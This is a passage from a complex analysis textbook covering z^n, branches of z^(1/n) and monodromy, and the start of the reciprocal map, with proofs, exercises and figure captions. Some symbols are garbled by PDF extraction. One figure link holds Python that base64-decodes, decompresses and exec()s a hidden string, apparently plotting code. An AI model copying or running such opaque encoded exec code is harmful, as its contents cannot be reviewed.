Exercise 8.7. Find the linear map carrying the triangle with vertices 0, 1, i onto the triangle
with vertices 2i, 2i+1+ i, 2i−1+ i, or show that none exists. (Compare the two triangles’ shapes
first: a similarity cannot change the ratios of side lengths.)

Exercise 8.8. (⋆) Prove that the set of linear maps (8.4) forms a group under composition, and
that it is isomorphic to the group of pairs (a, b) ∈ C× × C with the product (a1, b1) · (a2, b2) =
(a1a2, a1b2 + b1). Identify the subgroup of rotations about a fixed point z∗.

Exercise 8.9. Let f(z) = az + b with a ̸= 1. Prove that f has a unique fixed point z∗ = b

1 − a
and that f(z) − z∗ = a (z − z∗); hence f is a rotation–magnification about z∗. What happens
when a = 1?



Chapter 9

The Power Function zn

Throughout this chapter n ∈ N with n ≥ 2 is fixed, and

pn : C → C, pn(z) := zn. (9.1)

9.1 Action on the polar grid
Theorem 9.1 (zn in polar coordinates). Let z = reiθ with r ≥ 0 and θ ∈ R. Then

pn(z) = rneinθ, (9.2)

so that |pn(z)| = |z|n and arg pn(z) = n arg z (as sets, in the sense of Convention 3.4). Conse-
quently:

(i) pn maps the circle C(0, ρ) onto C(0, ρn), wrapping it n times;

(ii) pn maps the ray {teiθ0 : t > 0} onto the ray {seinθ0 : s > 0};

(iii) pn maps the sector S(α, β) := { reiθ : r > 0, α < θ < β } onto the sector S(nα, nβ) when
β − α ≤ 2π/n, and onto all of C \ {0} when β − α > 2π/n.

Proof. Equation (9.2) is De Moivre, Theorem 4.2. (i) If |z| = ρ then |zn| = ρn; and as θ increases
by 2π, nθ increases by 2nπ, so the image point traverses C(0, ρn) exactly n times. Surjectivity
onto C(0, ρn) is Theorem 4.5: every w with |w| = ρn has an n-th root of modulus ρ. (ii) is
immediate from (9.2): t 7→ tn is a bijection of (0,∞) onto itself. (iii) By (ii) the image is
{seiψ : s > 0, ψ ∈ (nα, nβ)}, understood modulo 2π. If n(β − α) ≤ 2π the interval (nα, nβ)
represents a genuine sector; if n(β − α) > 2π it covers all residues mod 2π, so the image is
C \ {0}.

Corollary 9.2 (Injectivity). pn is one-to-one on S(α, β) if and only if β−α ≤ 2π/n. In particular
pn is one-to-one on the open sector

Σn :=
{
z ̸= 0 : −π

n
< Arg z < π

n

}
, (9.3)

which it maps bijectively onto the slit plane C \ (−∞, 0].
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Proof. If β − α ≤ 2π/n and z1 = r1e
iθ1 , z2 = r2e

iθ2 lie in S(α, β) with zn1 = zn2 , then rn1 = rn2
gives r1 = r2, and nθ1 − nθ2 ∈ 2πZ gives θ1 − θ2 ∈ 2π

n Z. But |θ1 − θ2| < β − α ≤ 2π
n , so

θ1 = θ2. Conversely if β − α > 2π/n pick θ1 ∈ (α, β) with θ2 := θ1 + 2π
n ∈ (α, β) as well; then

eiθ1 ̸= eiθ2 but their n-th powers agree. For Σn: here β − α = 2π/n exactly, and the image is
S(−π, π) = C \ (−∞, 0] by Theorem 9.1(iii).
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A straight line
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circles wrap 3 times, rays turn to angle 3µ (Theorem 9.1)

B a path of maps
Figure 9.1 (animated). zn for n = 3. A: every point moves in a straight line from z to f(z). B:
circles wrap 3 times, rays turn to angle 3θ (Theorem 9.1). C: the tiles on the left deform along the
path of B.
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the fundamental sector jArg zj<¼=3 opens onto the slit plane (Corollary 9.2)

C tiles (Figure 9.1, continued)

The sector Σn of (9.3) is the standard fundamental sector for pn: by Corollary 9.2, pn can be
inverted on an open sector only if its opening is at most 2π/n, and Σn has exactly this opening.
The figure below shows p2 on the smaller sector |Arg z| < π/4, which lies inside Σ2 = {Re z > 0};
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its image is the right half-plane, whereas Σ2 itself is mapped onto C \ (−∞, 0].
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w= (1¡ s) z+ s z 2; s= 1:00

every point moves in a straight line from z to z 2
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w= z 1 + s; s= 1:00

angles double:
the sector jArg zj<¼=4 opens to the right half-plane

B a path of maps
Figure 9.2 (animated). z2 on the sector |Arg z| < π/4. A: every point moves in a straight line from
z to f(z). B: angles double: the sector |Arg z| < π/4 opens to the right half-plane. C: the tiles on
the left deform along the path of B.
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C tiles (Figure 9.2, continued)

9.2 Action on the Cartesian grid; the case n = 2
For n = 2 the component functions were computed in (7.4): u = x2 − y2, v = 2xy. Two further
families of curves are worth recording, because they are the level sets of u and v.

Proposition 9.3 (Level curves of z2). Let c ∈ R \ {0}. Under p2:

(i) the hyperbola x2 − y2 = c maps into the vertical line u = c;

(ii) the hyperbola 2xy = c maps into the horizontal line v = c;

(iii) the vertical line x = c maps onto the parabola (7.6), and the horizontal line y = c onto the
parabola (7.7).

The two families of hyperbolas are mutually orthogonal, and so are the two families of parabolas.

Proof. (i) and (ii) restate (7.4). (iii) was Example 7.5. Orthogonality of the hyperbola families:
the gradients are ∇(x2 − y2) = (2x,−2y) and ∇(2xy) = (2y, 2x), and their dot product is
4xy − 4yx = 0. For the parabolas, differentiate (7.6) and (7.7) implicitly at a common point
and check the slopes are negative reciprocals; alternatively, note that the parabola families are
the images of the orthogonal Cartesian grid under a map that we will prove in Theorem 13.10 is
angle-preserving away from z = 0.

https://jupyterlite.github.io/demo/repl/index.html?kernel=python&toolbar=1&pyfig=c09_sector_c&code=import%20numpy%2C%20matplotlib%2C%20zlib%2C%20base64%20%20%23%20run%20print%28src%29%20to%20see%20the%20code%0Asrc%20%3D%20zlib.decompress%28base64.b64decode%28%27eNqtWVt32zYSfuevwDL2BnRlRpIvseUop2maNt61U5%2FE25NEUX0gEpIQUyQLQLakOPvb9xuAutrZ5qF%2BMClgMJjrNwMwSGWflZmY8r4a1Fhfi5GsHqbGVG6lvhFZjfV6xaT9pshl1AoY%2FtSoLLRlqsCUMPJwv8ZGwpZZYTPVi8spvTFhwNo6%2Br4uRuz0YmqHRR6nytCWcyavL8%2FPaqwadNRYFSdZYSRJFbmhapoTMQ%2FD8JkaDZhK22HZv8JryIydZrIdJmNtCt0qCyd7yKyybjhTyTWzBSvF2MjwefDMJFqV9nlwIzQr%2B6zNblWeFrexe%2F%2FSb7FOt8auW6xeY3qct5jVY%2FkVJsG2bZYWyXgkcxsPpH2VSXr9aXqa8rk00UmAR1zkft8264%2FzxKoiZzxiX7BfDJ4Y%2Fod%2FO2FfTwIj7Wllb75GDv1Vn%2FGKlt3d0fpr9rxNz36cyXxghxHT0o51fkLU2NrohHmCDlF3T%2FyiNuPu%2BQNrRGx7m22nJwG02k4h8bMnlU1gXrbN%2BGYURJF3RV%2FKlGyw7pFo4cIruOUS1qqoC82uwYNpkQ9kxbSKIh8ZGODX0WKgNyYPqCL%2BaWqlOf2NL6cQDbERNxJPDrIaMUfYIQjyQeiD9ErlyVCaNr0vF2IePH2kxr3DfZknRSqJB3kQuo0lj6I4lW54ZUOoGo%2FLVFjp9Xw8jxtn%2BnJshjzErGipkRjIJ9jnpMqHbRNGC4s%2Bhj0xBwM%2BYrv4YzJPWdFn%2FxqXUFKfKStdFkrtpgN4YGv2R3OLIQTsUDIjEws7bt19grpDPfryQg%2B%2BfqrN7p59KtWT%2FS2sYiKHDC5oXjJuVQYrx8GvMpca0qesN2UDmV8RlUGC%2Bow0pUzo1wnLCxi7RRYea0nueid9BB7HjRorY7Z%2FsLt%2FyHgyrB%2B3jupRcDH9RQ1YUuQ3CH4QtrygTl8GVFG5NMQOcqULJ9eIKGeJyDLjYSeOY4gJfYOggoN8PIJ4wI68nA8toSVYQRkkMg9fDJBt9%2Bk2IMgpuzKbFFnm9TNzFLoosunLxXAQEAbp5EJAcjMPgS8hmd%2FKiY37RW6RsWGLhckIsRfSQNwXI5VNadBIrfqLcaNmEqON5tcoKFWNAWNPEZB5GdMvPDDQ%2BBwEAcGx0AM%2B87ja3nUkVbrASphzwEMe4kTh6ZDPTVaqLtmRKD0WzKfAY1SkHA%2BkYCb5LGK7fm6XNeRuo1nD6h0vTUTQQGOVMOUtySK%2BIc5sZ0cAOO3QOX8hnBXX8PJfiOj1Fz0DedyI40O20NpYMneqblQK8FaDvNAyJCRCqhLoVyMrMFJpjOW3Q6kl1%2Bw5QTexm5RcQD3SPysGfJNEw%2FSRU%2FszqFaMD7yrMUS6N0T2baeQ7uAsNBQYPWCO7%2FLVUjpvkgclqmQZFT1%2BXmOzSgRO7oGsPAEGR7Dr%2Bd9mT2e5GUTpRewJNqh%2BpQtJyuKWRDFLa5zv7BiH%2BoJC4EZqq3qZZM1JkzJQq0mLkUsMmYydQ2yBogxJAYfnRU%2BNDchKU3UMVLLP55Y6r0JGawAHNk3ttJTtpBiVmazAnkjOISnIzJ%2FaOp%2BrXGQDYLvl51UFy8Soxn733KppiZJy7mdRbMkFIOrUu0gReml0I0QLEuP4nol%2BZz8Sn1QJ5z2v287cn1iMOPIk1VYwCv%2B9EgQyVPv85d8jmEmLXoGOouX0zBg%2FhS%2FewIRvWK6yEhCe%2B3brTWWGDOKTTFPJm9FGtG0KCil9knhqcKbZN3NPJ2PLyxp7u3R0T0txDe%2Bh5bqRjKscmGfZAM6LmMswpizLJOq1cfmA9iAhL2uRkpffMsTIZ4C9YSLRhQES27mny1VPlw96uieoCfkvqJRBsUEF5WXE7tg8g0py2FtPS7t4jvqq84vIKBUrMue5fh%2Fkjh422%2Bt6ETq0w51b2%2FWLc5Gv2rCsLGPkgBuPkeuYUOpioCUU43WKY3Rc0F6gU0WrAIsIS52lga1QrGHsQSGrsBdE3tsAiJHK%2BUhMOJyGYu%2FSsefeAFJxHf8b8QKs%2BpkqCTQsTNfex%2FhSLmLlhMtELlmB%2FES0F2PrBuHRjImJgjqZupYuNQcwlpEez0upqWWwihxu240W0GD3OXUBn4FGc4GnMNcspo5oVX4%2Bix37CtamPvSSwvmgVPhpXQimpFkKsorCQO8VikpDSiJScKmZJkn0zg5v7DZtxERWoOmTIhki4KboTtoNpnwgOlQy1NzMntzN7v5okmo0MUYYsUTpJJP30dnDMttBkjRg96YTx4tIqeSUWimxq66YropacVy3xj1LENB6E1Z1GO0JLy0cM14Psp4uqNgCWyimdDEeDJmjI7QYSQCu8d3fmLTs1GuNReUBWZVnpso0WvdArl0voNKUIpEcVRNNIQ4etCLaBBZ3Xij5GMenGu3hFI1WNL1HQHqSvSSVR4eIvVSwGxy%2B4gOYmv7fM9FNFLx7%2BfrVz6DvIP67GGrUsUmmjOXEiN%2BX%2BKAeubraaVQLDr%2B5ANT1akEQvF4KBUeiTfZdUeMHEwVvMXcAAb4F2g4dAXGAQ0Ao68lpgYbYDhGLHgiDs9Pz08t3YEPn6%2BDdf37C62MXRgYHzTGKZ2vjELB2CvDHgOocUJQSiAL0cNmsBkPLhiLr77psfxxcnl6evSL2W7ft2R9foMDX2qdPf46BdKa9HTf7W0Rz9urfp29%2BrjF6e%2FH2VxLtMeJP6MfoMepxk6AG%2F3Dm363HT48O9o6PGod7e8dP9%2FeP9giN7o%2FtR8Hr07PTS9q8cwgGQNng3dWrC2KOsnoYvDabRn5NNibEQ1A6UriC1jfqgZQPRuSrGh2s3Nm%2F7WA%2BCi7PaMdugKI%2BV4y122jahUbz7iJ3gsUTrJ7iOcUzx65YNNfe0QwnNTYkXOMTSv5JnfAXhHxKP6fu52hx3v28PO%2BOVo%2B6mFLLqXxliv6ogGCHCUUxRTjtOaUflDbD6Rrt5VksSvjadfWA3wT9XU49XkdgwXCCFVLOU65HPZYbrQZQOH4gdYgoqgXsu%2F4WjB38YeEGt8jvsrHBnDjqwnsSLqlAkBpvb2uLV9t4yObozBG%2FsLkmJnphc0s%2F7d9pc72wuSaB5ja332lz7myjvT03SoJrzP385pS3kvXLvtsPy80Wtn2Yb%2BQ88q0tF4udZy5eOFzohI%2FSvjzqH9DJ9VH%2FUO6le2E3ePmbyyIi6nBF1onYNmt27xv%2Bvr27gbsBqrGERmfoSzwQ1Ggz%2BfSwf9BwmzXFcXrUD7uVg7Bl55r6rmTeZQ2LW9SbqMW%2Bp1V29x%2B%2BxyoFOrBcCsiVu0Zx6sB4qNJU5ps1Psv4ekcZufsLOkEDiBatZcSesbcQDPRVY7kWD68Nt3QmctZw5z%2FAEL0ber%2BPW40GnDBnRo%2FOqhA0ELF%2FLjpb%2FxsCRA7WfPnwVnsPfu%2FB8AOeHxpg5idXEu8eBXFzFTqmBpNCZjkAlecDVKLXKPwAUTi%2B7loUZZAqNY2%2Bp%2FB67zfZxW7Rw7u%2Fr2N2NKBRhBW9fJiPfPAjwcf7Br48i4IZwfaMcHtGwD2bEruPa5p8XFPj45oOH1cVGM3WhZ85kPc7OIDHFmgD6Dar7S6n%2FTUZ3U7TzU6bN6hXiPeRSGJCvOiiUqTplZhIw6k9OXBN%2BhH939t3JbJJHp%2FcPkC8v0J80FwhnsVG2qtJpkaQ0Jlp5kxAdppFJ2xOMXUU0wXFtKKg%2FZYsvC%2FcstvlMu%2BZyCWtcDcX4FojmioxhaMV7hjAQ4neIUP%2BivTzGOeaHt2194pJSGxjq5LrK9eG0mm6hyAkYx1HFR8xGVLXSjmQFFmh22E9PmqCWXbbxptjISY3%2F5fGWYWMt7zR4%2Bs3eZxyKbnqWBcMQHfn%2BO5qanZrrI9kdBuYNpDne6BYpoP5ihAnOEv3KSTqrUrt0Djhlj5zXyG4DrdmW74VC%2BnuOrfOII29KLAUCJuCQ67v2MV5dcME9hYsaU9K8Mq9XoZwc2eKPrrRRGPn4u64iQeaUNRe0Q4T6T6j1NjN6o8lgwbdloSf8tBdGaN1JaQBnhGvhcP2KqEJ8lQ%2BaGN2cTqqLoZ9bFEL6Jr6zjXqC50v3K%2FIn8gvqAY9BK1%2B%2BlpKgs%2BO8jUIJwualfl45G7A%2BUVEss7LiF9jvWnoksrMA%2BWio7pVrLjXZbi4ukbbdKPV1cvY4R0qW%2Bob1GR%2F7wkyt2%2FFt6FKQCge0m24s%2BIgK3roXXlV6R7RNQLd27lDHLX1%2FuYdEqY4u2Ojanj1WwKsfV19SXvw0157advl953203rVon37BioTkNB%2FxvOHkrIwWD0%2FWVPFMkOIOhIl4%2BTORrT4oje%2FTe%2BEZdp3F%2Bh00gypyO83g%2BW3IHeMO3D%2Fqk9IK599rq76KO1XV7E2ZaaAQE9Cur%2Ft7DbIaZAPRTWMyyn1FCG1qOGVFzHGpmEU%2FA%2BVPFLz%27%29%29.decode%28%29%0Aexec%28src%29
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2 = 0

Figure 9.3. The level curves of Proposition 9.3: the hyperbolas x2 − y2 = c (level sets of u) and
2xy = c (level sets of v) for w = z2, c ̸= 0. The two families cross at right angles wherever they meet;
none of these curves passes through the origin. Only the degenerate level sets c = 0 (the axes and the
diagonals y = ±x, not drawn) pass through 0, where p′

2 = 0 and these four lines meet at 45◦ instead
of 90◦.
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w= (1¡ s) z+ s z 2; s= 1:00

every point moves in a straight line from z to z 2

A straight line
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hyperbolas x 2 ¡ y 2 = c (blue) become lines u= c;
hyperbolas 2xy= c (red) become lines v= c

B a path of maps
Figure 9.4 (animated). z2 straightens the hyperbolas. A: every point moves in a straight line from
z to f(z). B: hyperbolas x2 − y2 = c (blue) become lines u = c; hyperbolas 2xy = c (red) become
lines v = c. C: the tiles on the left deform along the path of B.
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the right half-plane opens onto the slit plane

C tiles (Figure 9.4, continued)

Remark 9.4 (The critical point at the origin). Angles are not preserved at z = 0: by Theo-
rem 9.1(ii) two rays meeting at 0 at angle φ map to rays meeting at angle nφ. The origin
is the unique point where p′

n(z) = nzn−1 vanishes, and this is exactly the general mechanism:
conformality fails precisely at the zeros of the derivative. See Theorem 13.10.

Example 9.5 (Image of a rectangle). Let R = {x+ iy : 1 ≤ x ≤ 2, 0 ≤ y ≤ 1} and f = p2. The
four edges map as follows:

• x = 1, 0 ≤ y ≤ 1: by (7.6), u = 1 − v2/4 with v = 2y ∈ [0, 2] — an arc of a leftward parabola
from (1, 0) to (0, 2);

• x = 2, 0 ≤ y ≤ 1: u = 4 − v2/16 with v = 4y ∈ [0, 4] — an arc from (4, 0) to (3, 4);

• y = 0, 1 ≤ x ≤ 2: u = x2 ∈ [1, 4], v = 0 — the segment [1, 4] of the real axis;

• y = 1, 1 ≤ x ≤ 2: by (7.7), u = v2/4 − 1 with v = 2x ∈ [2, 4] — an arc from (0, 2) to (3, 4).

The image of R is the curvilinear quadrilateral bounded by these four arcs; the interior point
z = 3

2 + i
2 maps to 9

4 − 1
4 + i3

2 = 2 + 3
2 i, which is inside it, confirming the orientation.
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B a path of maps
Figure 9.5 (animated). z2 on the rectangle 1 ≤ x ≤ 2, 0 ≤ y ≤ 1. A: every point moves in a straight
line from z to f(z). B: the rectangle becomes a curvilinear quadrilateral; 3

2 + i
2 7→ 2 + 3

2 i. C: the
tiles on the left deform along the path of B.
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C tiles (Figure 9.5, continued)

9.3 Exercises
Exercise 9.1. Find the image under z 7→ z3 of: the sector 0 < Arg z < π/6; the circle |z| = 2;
the ray Arg z = 3π/4; the annulus 1 < |z| < 2.

Exercise 9.2. Determine all sectors with vertex 0 on which z 7→ z4 is one-to-one, and describe
the image in each case.

Exercise 9.3. Find the image of the half-disc {|z| < 1, Im z > 0} under z 7→ z2. (Answer: the
unit disc minus the segment [0, 1).)
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Exercise 9.4. Show that z 7→ z2 maps each line through the origin onto a closed ray from the
origin, two-to-one except at 0, and that it maps the family of open rays {seiθ : s > 0} from the
origin onto itself, but not bijectively. Which rays are mapped into themselves?

Exercise 9.5. Let n ≥ 2. Show that pn maps the circle |z − 1| = 1 onto a closed curve passing
through 0 and 2n, and sketch it for n = 2. (This image is the cardioid when n = 2.)

Exercise 9.6. Using Theorem 9.1, determine the image under z 7→ z5 of the “pie slice” {reiθ :
1 < r < 2, π/6 < θ < π/3}. Is the map one-to-one there?

Exercise 9.7. (After Chapter 14.) Compute Dp̃2, the Jacobian matrix (14.9) of p2, at a general
point, and verify directly that it lies in CO+(2) and equals Φ(2z). At which point does it fall out
of CO+(2) into {0}, and what does Remark 9.4 say happens there?

Exercise 9.8. (⋆) Let n ≥ 2. Prove that pn maps C onto C and that every w ̸= 0 has exactly n
preimages, while w = 0 has exactly one. Deduce that pn is an n-to-one map away from a single
point — the model example of a branched covering.



Chapter 10

The Power Function z1/n

By Theorem 4.5 each w ̸= 0 has n distinct n-th roots, so “w1/n” names a set of n points and is
not a function. This chapter converts it into functions. The construction — branch, branch cut,
branch point — is the same one used later for log z and zα, so it repays close attention.

10.1 Branches
Definition 10.1 (Multiple-valued relation and branch). Let F assign to each z in a set S ⊆ C
a nonempty set F (z) ⊆ C. A branch of F on a region D ⊆ S is a function f : D → C that is
continuous on D and satisfies

f(z) ∈ F (z) for every z ∈ D. (10.1)

The two requirements pull against each other: picking a value at each point is trivial; picking
them so that the result is continuous is not always possible on a given D, and the obstruction is
the whole phenomenon.

Definition 10.2 (Principal n-th root function). For n ∈ N define

z1/n
pr := |z|1/n exp

(
i

Arg z
n

)
, z ∈ C \ {0}, (10.2)

with Arg as in Definition 3.3 and |z|1/n > 0 the positive real n-th root. We also set 01/n
pr := 0.

When n = 2 we write
√
z := z

1/2
pr .

Theorem 10.3 (The principal branch). Let n ≥ 2 and let D0 := C \ (−∞, 0] be the plane slit
along the non-positive real axis. Then:

(i) D0 is a region, and z
1/n
pr restricted to D0 is a branch of z 7→ z1/n in the sense of Defini-

tion 10.1;

(ii) it maps D0 bijectively onto the sector Σn of (9.3), and is the inverse of the restriction pn|Σn

of Corollary 9.2;

(iii) z
1/n
pr is discontinuous at every point of the slit (−∞, 0); precisely, for x0 < 0,

lim
z→x0

Im z>0
z1/n

pr = |x0|1/n eiπ/n, lim
z→x0

Im z<0
z1/n

pr = |x0|1/n e−iπ/n, (10.3)

and these two values differ because 0 < 2π/n ≤ π.

63
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Proof. (i) D0 is open (its complement (−∞, 0] is closed) and any two of its points are joined by
a polygonal path avoiding the slit (go around through the upper or lower half-plane), so D0 is a
region. That z1/n

pr takes a value in z1/n is Theorem 4.5 with k = 0, φ = Arg z. Continuity on D0:
on D0 we have Arg z ∈ (−π, π), an open interval, and Arg is continuous there. Indeed, on D0 the
formula (3.4) of Proposition 3.5 reads arctan(y/x) on the open set {x > 0}, arctan(y/x) + π on
the open set {x < 0, y > 0} and arctan(y/x) − π on the open set {x < 0, y < 0} (the points
with x < 0, y = 0 are not in D0), each continuous there; the remaining points of D0 are those of
the imaginary axis. Let z0 = iy0 with y0 > 0, so Arg z0 = π/2. As z = x + iy → z0 with x > 0
we have y/x → +∞ and arctan(y/x) → π/2; with x < 0 we have y > 0 near z0, y/x → −∞ and
arctan(y/x) + π → −π/2 + π = π/2; with x = 0 the value is π/2. So Arg z → Arg z0. The case
y0 < 0 is the same with all signs reversed (the limit is −π/2 from both sides). Also z 7→ |z|1/n is
continuous and t 7→ eit is continuous, so (10.2) is a composition of continuous functions.

(ii) By (10.2) the argument of z1/n
pr is Arg z/n ∈ (−π/n, π/n), so the image lies in Σn; con-

versely if ζ ∈ Σn then z := ζn lies in D0 by Corollary 9.2 and z
1/n
pr = ζ, since |z|1/n = |ζ| and

Arg z = nArg ζ (legitimate because nArg ζ ∈ (−π, π)). Injectivity follows since pn ◦ z1/n
pr = id on

D0.
(iii) Let x0 < 0. If z → x0 with Im z > 0 then Arg z → π, whereas if Im z < 0 then

Arg z → −π; substituting into (10.2) and using continuity of |·| and t 7→ eit gives (10.3). The two
limits are equal only if e2πi/n = 1, i.e. n | 1, excluded by n ≥ 2.
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Figure 10.1 (animated). The principal cube root z1/3
pr . A: every point moves in a straight line from

z to f(z). B: the slit plane closes onto the sector |Argw| < π/3; the two edges of the cut stay apart.
C: the tiles on the left deform along the path of B.
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the slit plane closes onto the sector jArgwj<¼=3; the two edges of the cut stay apart

C tiles (Figure 10.1, continued)

Definition 10.4 (Branch cut, branch point). In the situation of Theorem 10.3, the ray (−∞, 0]
removed from the plane is called the branch cut of the principal branch, and 0 is called a branch
point of z1/n.

The cut is a matter of choice; the branch point is not.

Proposition 10.5 (Other branches; the cut can be moved but not removed). Let n ≥ 2.

(i) For each τ ∈ R, let Dτ := C\ {teiτ : t ≥ 0} be the plane cut along the ray of angle τ , and let
argτ z be the unique argument of z in (τ, τ + 2π). (Caution: the slit plane D0 = C \ (−∞, 0]
of Theorem 10.3 is Dπ in this notation, with argπ z ∈ (π, 3π); the set Dτ with τ = 0 is the
plane cut along [0,∞).) Then

fτ,k(z) := |z|1/n exp
(
i

argτ z + 2kπ
n

)
, k = 0, 1, . . . , n− 1, (10.4)

are exactly n distinct branches of z1/n on Dτ , and every branch on Dτ is one of them.

(ii) There is no branch of z1/n on any region D containing a circle C(0, ρ), ρ > 0. In particular
there is no branch on C \ {0}.

Proof. (i) Each fτ,k is continuous on Dτ (same argument as in Theorem 10.3(i), since argτ is
continuous on Dτ : argτ z = Arg

(
e−i(τ+π)z

)
+ τ +π, and z 7→ e−i(τ+π)z maps Dτ into C \ (−∞, 0],

where Arg is continuous) and takes values in z1/n by Theorem 4.5. They are distinct because
their values at any fixed z differ by the distinct factors e2πik/n. Conversely, let f be a branch
on Dτ . Then g := f/fτ,0 is continuous on Dτ (the denominator never vanishes) and, since
both are n-th roots of the same number, g(z)n = 1 for every z, i.e. g maps the connected set
Dτ into the finite set µn of Proposition 4.9. A continuous map from a region to a finite set is
constant (Exercise 5.4, applied to the function equal to 1 where g takes one given value and 0
elsewhere, which is continuous because the points of µn are at positive distance from each other),
so g ≡ e2πik/n for some k ∈ {0, . . . , n− 1}, i.e. f = fτ,k.

(ii) Suppose f were a branch on a region D ⊇ C(0, ρ). Consider γ(t) := ρeit for t ∈ [0, 2π]
and h(t) := f(γ(t))

/(
ρ1/neit/n

)
. The denominator is a continuous nonvanishing n-th root of γ(t)
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along the whole circle, so h is continuous on [0, 2π] with h(t)n = 1 for all t; as [0, 2π] is connected,
h is a constant c ∈ µn. Evaluating at t = 0 and t = 2π, where γ(0) = γ(2π) = ρ and hence
f(γ(0)) = f(γ(2π)), gives

c ρ1/n ei·0 = f(ρ) = c ρ1/ne2πi/n,

so e2πi/n = 1, contradicting n ≥ 2.

Part (ii) is the precise sense in which the multivaluedness of z1/n is not an artefact of bad
bookkeeping: going once around the origin permutes the n roots cyclically, and no choice can
survive the trip. That permutation is called the monodromy of the branch point.

branch cut
branch point

γ

going once around 0 multiplies
the chosen root by e2πi/n

Re

Im

z → x0 < 0

√

Re

Im

+i
√

|x0|

−i
√

|x0|

two limits, never equal

Figure 10.2. The jump (10.3) for n = 2. Approaching a point x0 < 0 from above, Arg z → π and√
z → |x0|1/2 eiπ/2; from below, Arg z → −π and

√
z → |x0|1/2 e−iπ/2. The two limits are negatives

of each other, so no value assigned on the cut can make the function continuous there.

Warning 10.6 (Identities that fail). The familiar rule √
z1z2 = √

z1
√
z2 is false for the principal

branch. Take z1 = z2 = −1 + iϵ with small ϵ > 0 and let ϵ ↓ 0: then Arg zj → π, √
zj → eiπ/2 = i,

so √
z1

√
z2 → −1; but z1z2 → 1 and √

z1z2 → 1. The correct statement is that √
z1

√
z2 is one of

the two square roots of z1z2, and it is the principal one precisely when Arg z1 + Arg z2 ∈ (−π, π]
— exactly the correction term k of (3.9).

Example 10.7 (Mapping by
√
z). The principal square root maps:

• the slit plane C \ (−∞, 0] onto the right half-plane {Rew > 0}, bijectively (Theorem 10.3(ii)
with n = 2);

• the upper half-plane {Im z > 0}, i.e. 0 < Arg z < π, onto the first-quadrant sector 0 <
Argw < π/2;
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• the punctured disc 0 < |z| < 1 minus the slit, onto the half-disc {0 < |w| < 1, Rew > 0};

• the circle |z| = ρ minus the point −ρ, onto the right-hand semicircle |w| = √
ρ, Rew > 0.
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B a path of maps
Figure 10.3 (animated). The principal square root

√
z. A: every point moves in a straight line from

z to f(z). B: the slit plane onto the right half-plane; circles |z| = ρ onto semicircles |w| = √
ρ. C: the

tiles on the left deform along the path of B.
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the upper half-plane onto the first quadrant (Example 10.7)

C tiles (Figure 10.3, continued)

Example 10.8 (Choosing a cut to fit a problem). To define a continuous square root of z2 −1 one
must exclude the two branch points ±1. Two standard choices are: cut along the segment [−1, 1],
or cut along (−∞,−1] ∪ [1,∞). The first gives a function continuous on C \ [−1, 1], with

√
z2 − 1

behaving like z (or like −z, for the other branch) near infinity; this is the choice needed to invert
the Joukowski map of aerodynamics (Exercise 10.5). The second keeps the segment (−1, 1) inside
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the domain, which is what one wants for
√

1 − z2 and, later, arcsin. Neither is “the” answer: the
cut is data supplied by the problem.

10.2 Exercises
Exercise 10.1. Compute the principal values: (−8)1/3

pr ,
√
i,

√
−4, (2i)1/4

pr , and in each case list
all the roots.

Exercise 10.2. Find the image of the sector π/2 < Arg z < π under the principal cube root, and
under the branch f0,1 of (10.4) with n = 3, τ = 0.

Exercise 10.3. Show that
√
z =

√
z for all z ∈ C \ (−∞, 0], and explain why the identity fails

on the cut.

Exercise 10.4. (⋆) Let f be a branch of z1/2 on the region D and suppose a ∈ D. Prove that f
is one-to-one on any disc D(a, ε) ⊆ D. (Use f(z1) = f(z2) ⇒ z1 = z2 by squaring.)

Exercise 10.5. Prove that there is a branch of (z2 − 1)1/2 on C \ [−1, 1]. (Hint: on that set
z−1
z+1 /∈ (−∞, 0], so F (z) := (z + 1)

(
z−1
z+1

)1/2
pr is continuous, and F (z)2 = z2 − 1.)

Exercise 10.6. Explain, using Theorem 10.3(iii) and the jump (10.3), why |z|1/2 eiArg z/2 cannot
be made continuous at any point of the negative real axis no matter how the value there is defined.

Exercise 10.7. Let f be the branch of z1/3 on D0 = C \ (−∞, 0] with f(1) = e2πi/3. Compute
f(i), f(−1+ i) and f(8), and say which τ and which k in (10.4) this branch corresponds to. (Note
that D0 = Dπ in the notation of Proposition 10.5.)

Exercise 10.8. Show that the four maps z 7→ ±
√
z and z 7→ ±

√
−z (principal branches, on their

natural cut planes) are pairwise distinct, and describe a region on which all four are simultaneously
defined and continuous.

Exercise 10.9. (⋆) (Monodromy, counted.) Let f be a branch of z1/n near a point z1 ̸= 0, and
continue it once counterclockwise around the circle through z1 centred at 0 (that is, follow a
continuous choice of n-th root along the circle, as in the proof of Proposition 10.5(ii)). Prove that
the value returns multiplied by e2πi/n, so that n circuits are needed to recover f . The order of
a branch point is the least number of circuits needed to return to the starting value, minus one.
Deduce that the branch point at 0 has order n − 1, and explain why log z (Chapter 16) never
returns to its starting value however many circuits are made.



Chapter 11

The Reciprocal Function

11.1 Inversion and reflection
Definition 11.1 (Reciprocal map). Define

ι(z) := 1
z
, z ∈ C \ {0}. (11.1)

By (1.20),
1
z

= z

|z|2
=
( z

|z|2
)
, (11.2)

so ι is the composition of the inversion in the unit circle

σ(z) := z

|z|2
(
same argument as z, modulus 1

|z|

)
(11.3)

with the reflection z 7→ z in the real axis, in either order.

Proposition 11.2 (Basic properties). For z ∈ C \ {0}, write z = reiθ with r > 0. Then

1
z

= 1
r
e−iθ, so

∣∣∣1
z

∣∣∣ = 1
|z|
, arg 1

z
= − arg z. (11.4)

Consequently ι is a bijection of C \ {0} onto itself with ι ◦ ι = id; it maps

• the unit circle T onto itself (with z 7→ z),

• the punctured open unit disc 0 < |z| < 1 onto the exterior |w| > 1, and conversely,

• the ray Arg z = θ0 onto the ray Argw = −θ0 (for θ0 ̸= π).

Proof. Formula (11.4) is Theorem 3.11(i) applied to 1/z with |1| = 1, arg 1 = 2πZ. The listed
consequences are immediate: |z| = 1 ⇐⇒ |1/z| = 1; |z| < 1 ⇐⇒ |1/z| > 1; and the argument
statement is (11.4). Involutivity is 1/(1/z) = z.
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|z| · |σ(z)| = 1, same ray; then conjugate
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every point moves in a straight line from z to 1=z

A straight line
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invert; then reflect; s= 1:00

invert in the unit circle (green): inside and outside swap;
then reflect in the real axis

B a path of maps
Figure 11.1 (animated). 1/z as inversion, then reflection. A: every point moves in a straight line
from z to f(z). B: invert in the unit circle (green): inside and outside swap; then reflect in the real
axis. C: the tiles on the left deform along the path of B.
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invert; then reflect; s= 1:00

invert in the unit circle (green): inside and outside swap; then reflect in the real axis

C tiles (Figure 11.1, continued)

11.2 Circles and lines are preserved
